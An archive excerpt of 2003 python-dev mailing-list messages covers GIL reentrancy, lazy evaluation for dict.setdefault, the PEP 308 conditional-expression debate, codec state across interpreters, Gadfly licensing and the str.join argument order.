This suggests that the GIL needs to become a reentrant lock.

> To maintain the current semantics, the state must be left *exactly* as it
> was when we did the PyAutoThreadState_Ensure().  This would involve keeping
> state for each nested AutoThreadState call, which is a PITA, and I believe
> unnecessary. PyAutoThreadState_Release() can obviously not unconditionally
> release the lock, else it will not be held by SomeCallback() once the call
> to SomeOtherFunc() returns.
> 
> The semantics I hope to implement are that the Python GIL is only released
> when the *last* nested AutoThreadState call on a thread completes.  This
> should also help perf, as we can avoid a number of lock transitions.

Yes, releasing on the last call makes sense -- that's a reentrant lock.

> So, if we consider an extension module:
> PyObject *MyExtFunc(PyObject *args, PyObject *self)
> {
>    ...
>    Py_BEGIN_ALLOW_THREADS
>    // note the more common case is that "SomeCallBack" is
>    // invoked *indirectly* via the function being called - but
>    // for the sake of demo, let's assume a direct call.
>    SomeCallback();
>    Py_END_ALLOW_THREADS
> }
> 
> When SomeCallBack() completes, the PyAutoThreadState_Release() call realizes
> that this is *not* the bottom of the stack for this thread, so does not
> bother to release the lock.  Thus, when Py_END_ALLOW_THREADS is hit, we find
> that the current thread still has the lock.

The bottom of what stack?  If the GIL were a reentrant lock, I don't
see the problem.

> However, if "SomeCallBack()" had been called indirectly on another thread,
> then PyAutoThreadState_Release() *would* release the lock, as that call will
> be the final _Release() for that thread.

Sorry, I don't follow.

> ...
> 
> > If the issue is that there is (indeed very likely) code out there that
> > calls PyEval_RestoreThread() rather than using the macro, would it be
> > possible to change PyEval_RestoreThread() so that it acts the same as
> > PyEval_EnsureThread()?
> 
> Yes, this is probably best, but means the doc for PyEval_RestoreThread would
> change - in particular:
> 
> : If the lock has been created, the current thread must not have
> : acquired it, otherwise deadlock ensues.
> 
> However, as we are lossening this up, I see no real problem.

+1.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jcea@argo.es  Tue Feb 11 15:30:48 2003
From: jcea@argo.es (Jesus Cea Avion)
Date: Tue, 11 Feb 2003 16:30:48 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure
 request or bugfix?)
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> <Xns931F9A4CA6288duncanrcpcouk@127.0.0.1>
Message-ID: <3E491728.84A8BF35@argo.es>

> One way to satisfy this would be to redefine setdefault something like
> this:
> 
> def setdefault(aDict, aKey, aValue=None, lazy=None):
>    assert aValue is None or lazy is None
>    if aKey not in aDict:
>        aDict[aKey] = (if lazy is None: aValue else: lazy())
>    return aDict[aKey]

Nice. Nevertheless I keep thinking that current "setdefault" behaviour
is not fully documented and counterintuitive :-). So we would need to
fix the behaviour or update docs :-p

God, you all mutate a fairly simple and concrete consideration into a
broad language "lazy evaluation" feature. I'm overhelmed };-)

>    myDict.setdefault(myKey, lazy=lambda:expensive_function(args))

Nice lambda usage: declare a pseudofunction that calls another function
with predefined parameters. Updating my toolbox... :)

-- 
Jesus Cea Avion                         _/_/      _/_/_/        _/_/_/
jcea@argo.es http://www.argo.es/~jcea/ _/_/    _/_/  _/_/    _/_/  _/_/
                                      _/_/    _/_/          _/_/_/_/_/
PGP Key Available at KeyServ   _/_/  _/_/    _/_/          _/_/  _/_/
"Things are not so easy"      _/_/  _/_/    _/_/  _/_/    _/_/  _/_/
"My name is Dump, Core Dump"   _/_/_/        _/_/_/      _/_/  _/_/
"El amor es poner tu felicidad en la felicidad de otro" - Leibniz


From guido@python.org  Tue Feb 11 15:35:32 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 10:35:32 -0500
Subject: [Python-Dev] lazy evaluation redux
In-Reply-To: Your message of "Tue, 11 Feb 2003 12:37:06 -0200."
 <20030211143706.GH17348@laranja.org>
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it>
 <20030211143706.GH17348@laranja.org>
Message-ID: <200302111535.h1BFZWY11491@odiug.zope.com>

Sorry, this thread doesn't belong on python-dev.  If you really need
lazy evaluation, you can do it without changes to the langage.  Just
enclose lazy arguments in quotes.  Then you can use something like
this:

import sys

def lazy(s):
    f = sys._getframe(1)
    return eval(s, f.f_globals, f.f_locals)

def foo():
    a = 12
    b = 42
    print lazy("a+b")

foo()

--Guido van Rossum (home page: http://www.python.org/~guido/)


From rich@worldsinfinite.com  Tue Feb 11 15:45:06 2003
From: rich@worldsinfinite.com (Rich Harkins)
Date: 11 Feb 2003 10:45:06 -0500
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault".
 Feaure request or bugfix?)
In-Reply-To: <200302111433.45925.aleax@aleax.it>
References: <3E48EB47.8CA7E77A@argo.es>  <200302111433.45925.aleax@aleax.it>
Message-ID: <1044978307.1805.29.camel@rich-laptop>

On Tue, 2003-02-11 at 08:33, Alex Martelli wrote:
> On Tuesday 11 February 2003 01:23 pm, Jesus Cea Avion wrote:
> > <https://sourceforge.net/tracker/index.php?func=detail&aid=684542&group_id=
> >5470&atid=355470>
> >
> > Reading "python cookbook" I reach a very intelligent
> > dictionary construction: to use dictionary "setdefault"
> > to avoid a "get" or a "try...except".
> >
> > Nevertheless current "setdefault" behaviour is
> > questionable, since it evaluates the default value when
> > it is not necessary. In my mind, "setdefault" should
> > evaluate the default value when it need to use it, not
> > ALWAYS. Example:
> 

Slightly offtopic, but in the vein of setting default values in a
dictionary:

I, for one, would be more than happy if a __makeitem__ method existed
that would be called when:

1) __getitem__ would normally raise KeyError
2) get() is called without a default
3) setdefault is called without a default

__makeitem__ would then accept one parameter, the key name to make, and
return the object to return, as appropriate, through those functions. 
__makeitem__ could also modify the dictionary if caching of the result
is desired.  This is, IMHO, orthogonal to the __getattr__ method, except
it applies to keys, not attributes.

I think I would use this more than setdefault() since in many cases the
context for the defaulting exists in the dictionary-like object itself
and not in the calling context.  For example:

class Directory(dict):
	def __init__(self,path):
		self.path=path

	def __makeitem__(self,name):
		filepath=os.path.join(self.path,name)
		stats=os.stat(filepath)
		if stat.IS_DIR(stats[0]):
			return Directory(filepath)
		else:
			return File(filepath,stats)

	def keys(self):
		return os.path.listdir(self.path)

class File(object):
	def __init__(self,path,stats):
		self.path=path
		self.stats=stats

	def open(self):
		return open(self.path)

Using setdefault() without __makeitem__ I would have to do the following
to produce the same output, with bonus methods in my Dictionary:

dir.setdefault(name,dir.create(name))

ICK!  I'm having to reach into dir to perform a create (in other words
I'm going to create whether I like it or not).  This seems to me to be
less intuitive than:

dir[name]

Which, based on my abstraction, just does what it looks like it should
do - return the appropriate thing.

Rich




From jeremy@zope.com  Tue Feb 11 15:52:14 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: 11 Feb 2003 10:52:14 -0500
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: <200302111514.h1BFESP11311@odiug.zope.com>
References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
 <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net>
 <200302111327.48806.rjones@ekit-inc.com>
 <200302111514.h1BFESP11311@odiug.zope.com>
Message-ID: <1044978733.22013.3.camel@slothrop.zope.com>

On Tue, 2003-02-11 at 10:14, Guido van Rossum wrote:

> > I have no answer for this. The sourceforge project has a number of 
> > maintainers, but there are old outstanding bugs which have had no attention 
> > (some even have patches). I'm afraid it's at the bottom of my priority list 
> > at present.
> 
> Mine too.  Unless someone volunteers, I'm strongly against adopting
> this code -- we can't have decaying code in the core distribution.

We probably do more harm than good if we include code that isn't being
actively maintained.  It's inclusion in the std library creates the
impression that it is bullet-proof and well-maintained.  It feels like
another asyncore: a body of code the core developers don't understand
tool well but will be forced to learn through years of fixing subtle
bugs.

It would certainly be unusual and kind of neat to ship an SQL database
with the standard library, but I doubt many people are expecting to find
one there.  SourceForge seems like a good home.

Jeremy




From pedronis@bluewin.ch  Tue Feb 11 15:49:06 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 11 Feb 2003 16:49:06 +0100
Subject: some data on the debate [Python-Dev] Update to PEP308:  if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer>
Message-ID: <00ab01c2d1e5$1c438c20$6d94fea9@newmexico>

From: "Raymond Hettinger" <python@rcn.com>
> I updated the PEP for Guido van Rossum.
>
> If the cron job is doing its thing, the results will be visible in
> a few hours.
>
> The update reflects updated thinking based on the discussion to-date.

Some data about the debate to-date:

1254 ~on-topic PEP 308 posts
by 142 posters

posters with >2 posts:
Erik Max Francis                   147
Andrew Koenig                      122
Andrew Dalke                       81
=3D> ~1/4 posts (350)  by 3 poster(s)
Aahz                               65
holger krekel                      60
James J. Besemer                   43
Paul Rubin                         40
Samuele Pedroni                    36
Paul Moore                         30
Carlos Ribeiro                     27
=3D> ~1/2 posts (651)  by 10 poster(s)
Laura Creighton                    27
Roy Smith                          27
David Eppstein                     22
Tim Peters                         22
Bengt Richter                      20
Dave Brueck                        20
Michele Simionato                  19
Dale Strickland-Clark              18
Paul Paterson                      18
Roman Suzi                         18
Alex Martelli                      17
Christian Tismer                   16
Dan Schmidt                        14
Evan                               13
Michael Hudson                     13
Dennis Lee Bieber                  12
Anders J. Munch                    11
Martin Maney                       11
Gerrit Holl                        10
John Roth                          10
Jp Calderone                       10
Sean Ross                          10
Anthony Baxter                     9
Ian Bicking                        8
Alexander Schmolck                 7
Carel Fellinger                    7
David Gausebeck                    7
Piet van Oostrum                   7
Raymond Hettinger                  7
Jack Diederich                     6
jerf at compy dot attbi dot com               6
Alan Daniels                       5
Fredrik Lundh                      5
Peter Hansen                       5
Richard Jones                      5
Skip Montanaro                     5
Christos TZOTZIOY Georgiou         4
Delaney, Timothy C (Timothy)       4
Donn Cave                          4
Neil Hodgson                       4
Bjorn Pettersen                    3
Chris Liechti                      3
Dan Bishop                         3
Fran=E7ois_Pinard                    3
James P. Rutledge                  3
Jamie Guinan                       3
Jeremy Fincher                     3
John La Rooy                       3
Paul Foley                         3
William                            3
William Park                       3

posters with <3 posts: 81



From guido@python.org  Tue Feb 11 16:09:56 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 11:09:56 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
In-Reply-To: Your message of "Tue, 11 Feb 2003 16:49:06 +0100."
 <00ab01c2d1e5$1c438c20$6d94fea9@newmexico>
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer>
 <00ab01c2d1e5$1c438c20$6d94fea9@newmexico>
Message-ID: <200302111609.h1BG9u311876@odiug.zope.com>

> Some data about the debate to-date:
> 
> 1254 ~on-topic PEP 308 posts
> by 142 posters

Can you (or somebody) augment that list with who's for and who's
against?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Tue Feb 11 16:11:16 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 11 Feb 2003 17:11:16 +0100
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer>              <00ab01c2d1e5$1c438c20$6d94fea9@newmexico>  <200302111609.h1BG9u311876@odiug.zope.com>
Message-ID: <016501c2d1e8$35047e60$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>


> > Some data about the debate to-date:
> >
> > 1254 ~on-topic PEP 308 posts
> > by 142 posters
>
> Can you (or somebody) augment that list with who's for and who's
> against?

the only point I was maybe trying to make with the data, is that it is very
difficult to distinguish - just reading the threads - in this case of USENET
debate whether conseus is building or the same people are writing the same
thing (which they like) very often.

So updating the PEP is a risky operation <shrug>.



From niemeyer@conectiva.com  Tue Feb 11 16:18:08 2003
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Tue, 11 Feb 2003 14:18:08 -0200
Subject: [Python-Dev] Codecs data
Message-ID: <20030211161807.GA11135@ibook.distro.conectiva>

I belive we have a problem in our current codecs implementation: it
doesn't work for multiple interpreter states, because the data is
currently statically allocated in codecs.c. That way, only the first
interpreter is going to have the codecs lookup working. The following
interpreters will try to cross the interpreter state boundary and use
the lookup function from the first interpreter, issuing all kinds of
weird errors.

One solution would be to store that data in the "sys" module
(e.g. codec_search_path, codec_search_cache, codec_inited).

Can you please advice on how to fix that? I'll be willing to provide
a fix with the proposed solution.

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From aahz@pythoncraft.com  Tue Feb 11 16:25:19 2003
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 11 Feb 2003 11:25:19 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
In-Reply-To: <200302111609.h1BG9u311876@odiug.zope.com>
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com>
Message-ID: <20030211162518.GA14552@panix.com>

On Tue, Feb 11, 2003, Guido van Rossum wrote:
>Samuele:
>>
>> Some data about the debate to-date:
>> 
>> 1254 ~on-topic PEP 308 posts
>> by 142 posters
> 
> Can you (or somebody) augment that list with who's for and who's
> against?

That would be difficult, given that there are now two leading
contenders (if <cond>: x else: y vs. <cond> ?? x || y).  Given that both
have only emerged in the last day or so, there's been no time to
evaluate which is ahead.  I propose to let the discussion simmer another
week or so before voting.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From guido@python.org  Tue Feb 11 16:24:36 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 11:24:36 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
In-Reply-To: Your message of "Tue, 11 Feb 2003 17:11:16 +0100."
 <016501c2d1e8$35047e60$6d94fea9@newmexico>
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com>
 <016501c2d1e8$35047e60$6d94fea9@newmexico>
Message-ID: <200302111624.h1BGOaU12718@odiug.zope.com>

> the only point I was maybe trying to make with the data, is that it
> is very difficult to distinguish - just reading the threads - in
> this case of USENET debate whether conseus is building or the same
> people are writing the same thing (which they like) very often.

I'm glad I don't have to read all that. :-)

> So updating the PEP is a risky operation <shrug>.

Yeah.  In the end it's still my decision.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Tue Feb 11 18:04:57 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 11 Feb 2003 19:04:57 +0100
Subject: [Python-Dev] str.join, string.join
Message-ID: <3E493B49.6060604@tismer.com>

Hi Tim, pydev,

while fighting this conditional super thread,
I stumbled over something about "".join, as
it was used as an argument for reading LtoR.

Citing A. Koenig and Ahz: """
','.join(lines)

Aahz> Many people (including me) think it's *NOT* Pythonic.

If I were trying to make code easy to understand for inexperienced
programmers, I would write str.join(',', lines) instead of
','.join(lines).
"""

I have two observations:

1)
Through introduction of strings as class-like
objects, new calling patterns are generated.

Unfortunately, this is the opposite as in
the string module:
    str.join(',', lines)     # vs.
    string.join(lines, ',')

What is now pythonic. Was it (a posteriori) a
mistake to add join as a method to strings, since
it creates a calling pattern that is incompatible
with the string function?

Side remark: This error message is confusing:
 >>> str.join(" ")
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
TypeError: join() takes exactly one argument (0 given)

Well, the method is probably not well suited to be called
by the class, only (expecting to be a method, always).
But now it exists.

2)
Given the str "class", we could use it to make
the string module absolutely redundant, since
we can put all string constants into str now.
So we would be able to use
     str.digits  # instead of
     string.digits

Trying to make sense of 1) and 2), I get into
trouble because of the inconsistent join issue.

What is the long-term way to make this pythonic
again:
Should "".join be dropped in favor of a class
method which reads like the old string.join?
Or should it be kept like today, exist as
"".join(stuff) and str.join("", stuff), and
string.join becomes deprecated?

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From aaron@reportlab.com  Tue Feb 11 18:59:47 2003
From: aaron@reportlab.com (Aaron Watters)
Date: Tue, 11 Feb 2003 13:59:47 -0500
Subject: [Python-Dev] Re: Gadfly in Python core
References: <43F63A41-3C32-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
Message-ID: <3E494823.5060401@reportlab.com>

Hi Guido, Stuart, python-dev,

Stuart was nice enough to forward this information to me
and I would be delighted.  I don't know exactly how to "transfer"
a copyright, but I'd be happy to do it.

Thanks for the interest!

  -- Aaron Watters

(ps: I would have sent a more appropriate email yesterday, Stuart,
   but I was snowed under with work)
 


Stuart Bishop wrote:

> Hi.
>
> I don't know if you saw this thread or not on Python-dev:
>     http://mail.python.org/pipermail/python-dev/2003-January/032295.html
>
> Looks like Gadfly can go into the core Python distribution. One of the
> outstanding issues is that of the licence, which concerned Guido:
>     http://mail.python.org/pipermail/python-dev/2003-January/032305.html
>
> Would you be interested in allowing the PSF to distribute Gadfly under
> its own licence to simplify things?
>




From aahz@pythoncraft.com  Tue Feb 11 20:21:33 2003
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 11 Feb 2003 15:21:33 -0500
Subject: [Python-Dev] str.join, string.join
In-Reply-To: <3E493B49.6060604@tismer.com>
References: <3E493B49.6060604@tismer.com>
Message-ID: <20030211202133.GB20956@panix.com>

On Tue, Feb 11, 2003, Christian Tismer wrote:
>
> Unfortunately, this is the opposite as in
> the string module:
>    str.join(',', lines)     # vs.
>    string.join(lines, ',')

When it was only string.join(), I always got the order of arguments
reversed, so I'd be quite happy to have the class method be canonical,
with the arguments in that order.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From python@rcn.com  Tue Feb 11 20:33:07 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 11 Feb 2003 15:33:07 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> <20030211162518.GA14552@panix.com>
Message-ID: <009201c2d20c$c94e7d40$370ca044@oemcomputer>

[Aahz]
> That would be difficult, given that there are now two leading
> contenders (if <cond>: x else: y vs. <cond> ?? x || y).  Given that both
> have only emerged in the last day or so, there's been no time to
> evaluate which is ahead.  

Hmm, one looks like Smalltalk and the other like Perl ;)

Though both are clear and get the job done, the first bugs 
me for three reasons:

* you have to look twice to see that you're dealing
   with a statement rather than an expression

* when looking at an expression, my mind is trained
   to see alpha characters as a variable or function name

* the enclosing parenthesis requirement feels wrong


> I propose to let the discussion simmer another
> week or so before voting.

Excellent plan.



Raymond Hettinger


From mchermside@ingdirect.com  Tue Feb 11 20:42:48 2003
From: mchermside@ingdirect.com (Chermside, Michael)
Date: Tue, 11 Feb 2003 15:42:48 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
Message-ID: <7F171EB5E155544CAC4035F0182093F03CF6FE@INGDEXCHSANC1.ingdirect.com>

[Samuele Pedroni creates list of # of posts per person]

I'm not quite sure how you generated this list, but I notice
that I'm not on it. Now I *HAVE* been trying very hard to make
FEW posts (but hopefully insightful ones), but I still made
it to the threshold of 3.

I don't particularly care about the list, but if Guido wants
a listing of who's pro/con, then we shouldn't exclude people
who have tried to REDUCE the amount of noise by posting a
SMALL number of times.

-- Michael Chermside


From python@rcn.com  Tue Feb 11 21:09:05 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 11 Feb 2003 16:09:05 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer> <00ab01c2d1e5$1c438c20$6d94fea9@newmexico> <200302111609.h1BG9u311876@odiug.zope.com> <20030211162518.GA14552@panix.com> <009201c2d20c$c94e7d40$370ca044@oemcomputer>
Message-ID: <00dd01c2d211$cfe0fa20$370ca044@oemcomputer>

> Hmm, one looks like Smalltalk and the other like Perl ;)

Excuse me.  
Posted to the wrong list.


Raymond Hettinger


From zack@codesourcery.com  Tue Feb 11 21:16:24 2003
From: zack@codesourcery.com (Zack Weinberg)
Date: Tue, 11 Feb 2003 13:16:24 -0800
Subject: [Python-Dev] str.join, string.join
In-Reply-To: <20030211202133.GB20956@panix.com> (Aahz's message of "Tue, 11
 Feb 2003 15:21:33 -0500")
References: <3E493B49.6060604@tismer.com> <20030211202133.GB20956@panix.com>
Message-ID: <87u1fav7pz.fsf@egil.codesourcery.com>

Aahz <aahz@pythoncraft.com> writes:

> On Tue, Feb 11, 2003, Christian Tismer wrote:
>>
>> Unfortunately, this is the opposite as in
>> the string module:
>>    str.join(',', lines)     # vs.
>>    string.join(lines, ',')
>
> When it was only string.join(), I always got the order of arguments
> reversed, so I'd be quite happy to have the class method be canonical,
> with the arguments in that order.

How about seq.join(',') where seq is an instance of a sequence type?

zw


From guido@python.org  Tue Feb 11 21:20:06 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 16:20:06 -0500
Subject: [Python-Dev] str.join, string.join
In-Reply-To: Your message of "Tue, 11 Feb 2003 13:16:24 PST."
 <87u1fav7pz.fsf@egil.codesourcery.com>
References: <3E493B49.6060604@tismer.com> <20030211202133.GB20956@panix.com>
 <87u1fav7pz.fsf@egil.codesourcery.com>
Message-ID: <200302112120.h1BLK6M19266@odiug.zope.com>

PLEASE!  GET THIS DISCUSSION OFF PYTHON-DEV!

NO MORE COMMENTS ON JOIN()!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mal@lemburg.com  Tue Feb 11 22:51:07 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 11 Feb 2003 23:51:07 +0100
Subject: [Python-Dev] Codecs data
In-Reply-To: <20030211161807.GA11135@ibook.distro.conectiva>
References: <20030211161807.GA11135@ibook.distro.conectiva>
Message-ID: <3E497E5B.5000300@lemburg.com>

Gustavo Niemeyer wrote:
> I belive we have a problem in our current codecs implementation: it
> doesn't work for multiple interpreter states, because the data is
> currently statically allocated in codecs.c. That way, only the first
> interpreter is going to have the codecs lookup working. The following
> interpreters will try to cross the interpreter state boundary and use
> the lookup function from the first interpreter, issuing all kinds of
> weird errors.
> 
> One solution would be to store that data in the "sys" module
> (e.g. codec_search_path, codec_search_cache, codec_inited).
> 
> Can you please advice on how to fix that? I'll be willing to provide
> a fix with the proposed solution.

Martin had the idea to put these globals (along with other
similar globals) in the thread state structure. I believe that's
the right approach or at least hints in the right direction (we
don't want the globals to be per thread, but there doesn't
seem to be a better place).

Also see:
https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 11 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     49 days left
EuroPython 2003, Charleroi, Belgium:                       133 days left



From mal@lemburg.com  Tue Feb 11 22:53:50 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 11 Feb 2003 23:53:50 +0100
Subject: [Python-Dev] Codecs data
In-Reply-To: <3E497E5B.5000300@lemburg.com>
References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com>
Message-ID: <3E497EFE.9030707@lemburg.com>

M.-A. Lemburg wrote:
> Gustavo Niemeyer wrote:
> 
>> I belive we have a problem in our current codecs implementation: it
>> doesn't work for multiple interpreter states, because the data is
>> currently statically allocated in codecs.c. That way, only the first
>> interpreter is going to have the codecs lookup working. The following
>> interpreters will try to cross the interpreter state boundary and use
>> the lookup function from the first interpreter, issuing all kinds of
>> weird errors.
>>
>> One solution would be to store that data in the "sys" module
>> (e.g. codec_search_path, codec_search_cache, codec_inited).
>>
>> Can you please advice on how to fix that? I'll be willing to provide
>> a fix with the proposed solution.
> 
> 
> Martin had the idea to put these globals (along with other
> similar globals) in the thread state structure. I believe that's
> the right approach or at least hints in the right direction (we
> don't want the globals to be per thread, but there doesn't
> seem to be a better place).

Hmm, there is something called PyInterpreterState. Perhaps that's
what we want ?! (and Martin was thinking about)

> Also see:
> https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470 

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 11 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     49 days left
EuroPython 2003, Charleroi, Belgium:                       133 days left



From python@rcn.com  Wed Feb 12 00:53:45 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 11 Feb 2003 19:53:45 -0500
Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden> <012e01c2d192$14ecf860$125ffea9@oemcomputer>              <00ab01c2d1e5$1c438c20$6d94fea9@newmexico>  <200302111609.h1BG9u311876@odiug.zope.com>
Message-ID: <007501c2d231$32711f20$a50ea044@oemcomputer>

> Can you (or somebody) augment that list with who's for and who's
> against?

Maybe a wiki would be helpful here.

Have one index page link to each proposal.
Each proposal with a page formatted as:
   proposed syntax
   -------------------
   bdfl comments if any
   -------------------
   arguments for
   ....................
   list of supporters
   -------------------
   arguments against
   .....................
   list of naysayers


If wiki theory holds true, it will flesh it self-out,
allow people to change their minds, and allow arguments
to be said once and then refined to their purest form
We can all see who supports what and, in the end,
a copy of the wiki can serve as a permanent record
of what was learned.


Raymond Hettinger


From esr@thyrsus.com  Tue Feb 11 00:04:37 2003
From: esr@thyrsus.com (Eric S. Raymond)
Date: Mon, 10 Feb 2003 19:04:37 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <Pine.LNX.4.33.0302092000170.19249-100000@server1.lfw.org>
References: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <Pine.LNX.4.33.0302092000170.19249-100000@server1.lfw.org>
Message-ID: <20030211000437.GE3335@thyrsus.com>

Ka-Ping Yee <ping@zesty.ca>:
> I'm -1 on any syntax that's out of order.  I think that would be
> terribly confusing, and i don't think there's any example of a
> successful out-of-order ?: syntax in another language, is there?
> 
> It's not just that it's out of order -- it's that something gets
> short-circuited out of order.  The whole idea of the very *first*
> thing you see getting short-circuited is unacceptably weird and
> unexpected for me.

I'm with Ping on this.  Yes, I know about comprehensions. I didn't
like syntax either.

Maybe it's a time to consider (guard ? true-arm ! false-arm).
-- 
		<a href="http://www.catb.org/~esr/">Eric S. Raymond</a>


From exarkun@intarweb.us  Wed Feb 12 01:16:14 2003
From: exarkun@intarweb.us (Jp Calderone)
Date: Tue, 11 Feb 2003 20:16:14 -0500
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?)
In-Reply-To: <3E491728.84A8BF35@argo.es>
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> <Xns931F9A4CA6288duncanrcpcouk@127.0.0.1> <3E491728.84A8BF35@argo.es>
Message-ID: <20030212011614.GC19707@meson.dyndns.org>

--9Ek0hoCL9XbhcSqy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, Feb 11, 2003 at 04:30:48PM +0100, Jesus Cea Avion wrote:
> > One way to satisfy this would be to redefine setdefault something like
> > this:
> >=20
> > def setdefault(aDict, aKey, aValue=3DNone, lazy=3DNone):
> >    assert aValue is None or lazy is None
> >    if aKey not in aDict:
> >        aDict[aKey] =3D (if lazy is None: aValue else: lazy())
> >    return aDict[aKey]
>=20
> Nice. Nevertheless I keep thinking that current "setdefault" behaviour
> is not fully documented and counterintuitive :-). So we would need to
> fix the behaviour or update docs :-p

  To jump in, and re-iterate (for the third time?), setdefault is -not-
special.  It is a function call (a method call if you wish to be technical)
just like any other.  No function calls in Python behave the way you think
setdefault should, so the only way one can say that it would be more
intuitive the way you suggest is if one is basing one's intuition on other
languages wholely unrelated to Python.  If that is the case (What is the
currently popular expression?  Ah, yes...), perhaps you can make the change,
but you'll have to come up with a new name for the resulting language, for
it will not be Python.

  So, just to sum up:

  1) dict.setdefault is a regular method that is in no way special.

  2) No functions in Python have the "lazy evaluation" behavior you think
     dict.setdefault should have.

  3) No documentation describing that dict.setdefault does not lazily
     evaluate its second argument is missing, because no function in Python
     lazily evaluates its second argument.  (Perhaps some documentation cou=
ld
     be added a top-level some place, perhaps in the "Functions" section of
     the tutorial, pointing out that the second argument to a function is
     not lazily evaluated, though.)

  4) Creating a special behavior for a single function (see point #1) is not
     intuitive.  It is confusing and surprising.

   Jp

--=20
#!/bin/bash
( LIST=3D(~/.netscape/sigs/*.sig)
  cat ${LIST[$(($RANDOM % ${#LIST[*]}))]}
  echo --$'\n' `uptime` ) > ~/.netscape/.signature
--=20
 up 3 days, 6:28, 2 users, load average: 0.48, 0.33, 0.28

